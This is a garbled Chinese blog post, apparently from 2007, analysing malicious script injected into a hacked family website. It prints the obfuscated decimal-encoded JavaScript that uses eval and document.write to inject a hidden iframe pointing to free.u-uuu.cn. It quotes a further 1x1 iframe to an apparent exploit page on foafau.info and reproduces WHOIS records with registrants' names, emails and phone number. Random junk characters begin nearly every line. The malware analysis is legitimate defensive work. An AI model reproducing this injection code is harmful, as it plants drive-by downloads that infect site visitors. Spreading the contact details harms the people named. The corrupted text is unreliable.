首发在我的博客里面，
TJNE2 q"Bd-?9 http://www.areway.cn/?p=175 u&p8S#e ^I/(9KP# -rsS_[$2 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
c Mi9 Z] ` T[yyOL/ <script>t=’60,105,102,114,97,109,101,
[vtDtwL 32,115,114,99,61,104,116,116,112,58,47,47,
?bd!JW bg` 102,114,101,101,46,117,45,117,117,117,46,99,
<;i&-, 110,47,101,114,114,111,114,46,104,116,109,
Z2{ $FN 32,119,105,100,116,104,61,49,48,48,32,104,
B#."cg4VR 101,105,103,104,116,61,48,62,60,47,105,102,
C|}yE ;*a 114,97,109,101,62′;
' q9Ejig t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
] Q^8
9? ])pX)(a <script>t=’60,105,102,114,97,109,101,32,115,
R&s/s`pLW 114,99,61,104,116,116,112,58,47,47,102,114,
Jur$O,u40l 101,101,46,117,45,117,117,117,46,99,110,47,
0D:uM$
i] 101,114,114,111,114,46,104,116,109,32,119,
@uC- dXA" 105,100,116,104,61,49,48,48,32,104,101,105,
3>(~5 103,104,116,61,48,62,60,47,105,102,114,97,
WL% T nux 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
BCExhp document.write(t);</script>
y%--/; Iy5W/QK6 <html xmlns=”
Yp m*or http://www.w3.org/1999/xhtml :%Z)u:~': “>
9F,XjPK= <head>
Ql7opl,
<!– Published By Newasp.cc 2007-12-7-18:03:23 –>
FIn )O-< <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
1slt[&4N <title>首页 - 爱生活家庭网
Y\!:/h]E& "~C \Z} ; 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
|RpZr!3V 转换字符串后的大概内容是（谁点击后果自付）：
qyyLU@hd <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
i_6 wD z"5e3w 查询玉米u-uuu.cn的详细信息：
\i~5H]? d Domain Name: u-uuu.cn
K~L"A]+ ROID: 20070901s10001s64972306-cn
@TKQ_7BcB Domain Status: ok
7({.kD6 Registrant Organization: 王雷
=L$RY2S" Registrant Name: 王雷
"z.!h(Eq Administrative Email:
czlovexs@126.com y^p%/p% Sponsoring Registrar: 北京万网志成科技有限公司
@Ng q+uXm Name Server:ns.yovole.com
[\HAJ A, Name Server:ns1.yovole.com
IsL=D V/ Registration Date: 2007-09-01 17:54
r~;.8qs Expiration Date: 2008-09-01 17:54
.hvn/5s 最后PING了一下地址 都没有什么….
/9y'UKl7[ f2|On6/ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
4z|Yfvq <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
HV3wU EI3 <script language=”javascript” src=”
1?+)T%" http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 0@f7`D >
,U r~DXY 这个玉米应该有可能是木马作者的：
{iq{<;)U?U foafau.info的详细信息：
HSl$ U0 Access to INFO WHOIS information is provided to assist persons in
]*S _fme determining the contents of a domain name registration record in the
uuh vd h= Afilias registry database. The data in this record is provided by
8DrKq]& Afilias Limited for informational purposes only, and Afilias does not
(aCl*vV1 guarantee its accuracy. This service is intended only for query-based
J! eVw\6 access. You agree that you will use this data only for lawful purposes
nfv s "B; and that, under no circumstances will you use this data to: (a) allow,
I^ A01\p enable, or otherwise support the transmission by e-mail, telephone, or
;rta# pRn facsimile of mass unsolicited, commercial advertising or solicitations
A%M&{S'+|X to entities other than the data recipient’s own existing customers; or
QQjMC' (b) enable high volume, automated, electronic processes that send
6 ud<B queries or data to the systems of Registry Operator, a Registrar, or
EVmE{XlD; Afilias except as reasonably necessary to register domain names or
`V ++} )5v modify existing registrations. All rights reserved. Afilias reserves
q14A 'XW the right to modify these terms at any time. By submitting this query,
UE\ @ 7 you agree to abide by this policy.
sXC]{]
P Domain ID:D22418703-LRMS
ZsPBs4<p
Domain Name:FOAFAU.INFO
;lWy?53=@ Created On:20-Nov-2007 16:05:42 UTC
[dL?N Last Updated On:20-Nov-2007 16:05:44 UTC
=09j1:''<d Expiration Date:20-Nov-2008 16:05:42 UTC
f4T-=` SO Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
[76m g j!K Status:CLIENT DELETE PROHIBITED
f{Y|FjPp=E Status:CLIENT RENEW PROHIBITED
c l 7+DAE Status:CLIENT TRANSFER PROHIBITED
zck |jhJ6 Status:CLIENT UPDATE PROHIBITED
f<'&_*7,|t Status:TRANSFER PROHIBITED
;/{Q4X{ Registrant ID:GODA-040110615
I0jEhg%J Z Registrant Name:liu hong
Iei4yDv ; Registrant Organization:
J&: 0 ytG Registrant Street1:beijing
+TX
p;6pA Registrant Street2:
dl$l5z\ Registrant Street3:
o w`c B Registrant City:beijing
;1OTK6 Registrant State/Province:
O,1u\Zy/ Registrant Postal Code:100000
VZlvmN Registrant Country:CN
"AVj]jR Registrant Phone:+86.860108888777
k~?}z.g( Registrant Phone Ext.:
v <Ze$^ e& Registrant FAX:
)J88gMk+ Registrant FAX Ext.:
RBgkC+2 Registrant Email:bbbshiji@163.com
izW l5}+'B Admin ID:GODA-240110615
3S2'JOTY Admin Name:liu hong
i+ cGw Admin Organization:
o-' i)pp Admin Street1:beijing
/~t fP Admin Street2:
6k3l/ ~R Admin Street3:
fAUsJ [ Admin City:beijing
s* YFN#Wuc Admin State/Province:
ujWHO$uz! Admin Postal Code:100000
S@"=,Xj M Admin Country:CN
K ;xW /7? Admin Phone:+86.860108888777
sBu"$ "] Admin Phone Ext.:
$xZk{ rK Admin FAX:
Yh%wf3
UEO Admin FAX Ext.:
Tk2kis(n Admin Email:bbbshiji@163.com
m[7:p{ Billing ID:GODA-340110615
h'fD3Gr& Billing Name:liu hong
Sf'5/9<DW+ Billing Organization:
pn7 :")Zx Billing Street1:beijing
A>g $[ Billing Street2:
| uZ=S]V@ Billing Street3:
gX _BJ6 Billing City:beijing
J+ |ohA Billing State/Province:
q@-qA] Billing Postal Code:100000
7VXeu+-P Billing Country:CN
imhq*f#A[ Billing Phone:+86.860108888777
l?1!h2z% Billing Phone Ext.:
p +7BsW .l Billing FAX:
l{a&Zy) Billing FAX Ext.:
\mu9ikZ< Billing Email:bbbshiji@163.com
,] { NZ9 Tech ID:GODA-140110615
EXFxiw Tech Name:liu hong
yl ;'Ru: Tech Organization:
,"VQ 0Z1 Tech Street1:beijing
q
| ^O Tech Street2:
0amz#VIB<u Tech Street3:
1DcarF Tech City:beijing
k51s *U6= Tech State/Province:
O({_x@ Tech Postal Code:100000
jgo@~,5R Tech Country:CN
-9*WQU9R Tech Phone:+86.860108888777
l9ihW^ Tech Phone Ext.:
@ty|HXW Tech FAX:
_Lb& 2 PAG Tech FAX Ext.:
EDQJ>c Tech Email:bbbshiji@163.com
` ^ _: Name Server:NS27.DOMAINCONTROL.COM
@Kr)$F Name Server:NS28.DOMAINCONTROL.COM
D)sEAfvX Name Server:
G!;[If :<e Name Server:
u .=; A# Name Server:
a*[\edc HU Name Server:
e d*AU,^@v Name Server:
X[~CLKH( Name Server:
UQcmHZ+lf Name Server:
V6{xX0'b*m Name Server:
=|%T E Name Server:
w;$ +7 Name Server:
qU
n> Name Server:
ui{_w @ o {LD8ie|x1` 接着下载每个文件里面的代码：
y 4L9Cxvs 一步一步看..
NFc8"7Mz} 
a !K;8#xc 
\-0` %k"& 
rw2|1_AF 
DS2$ w9! 
JrAc]= 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
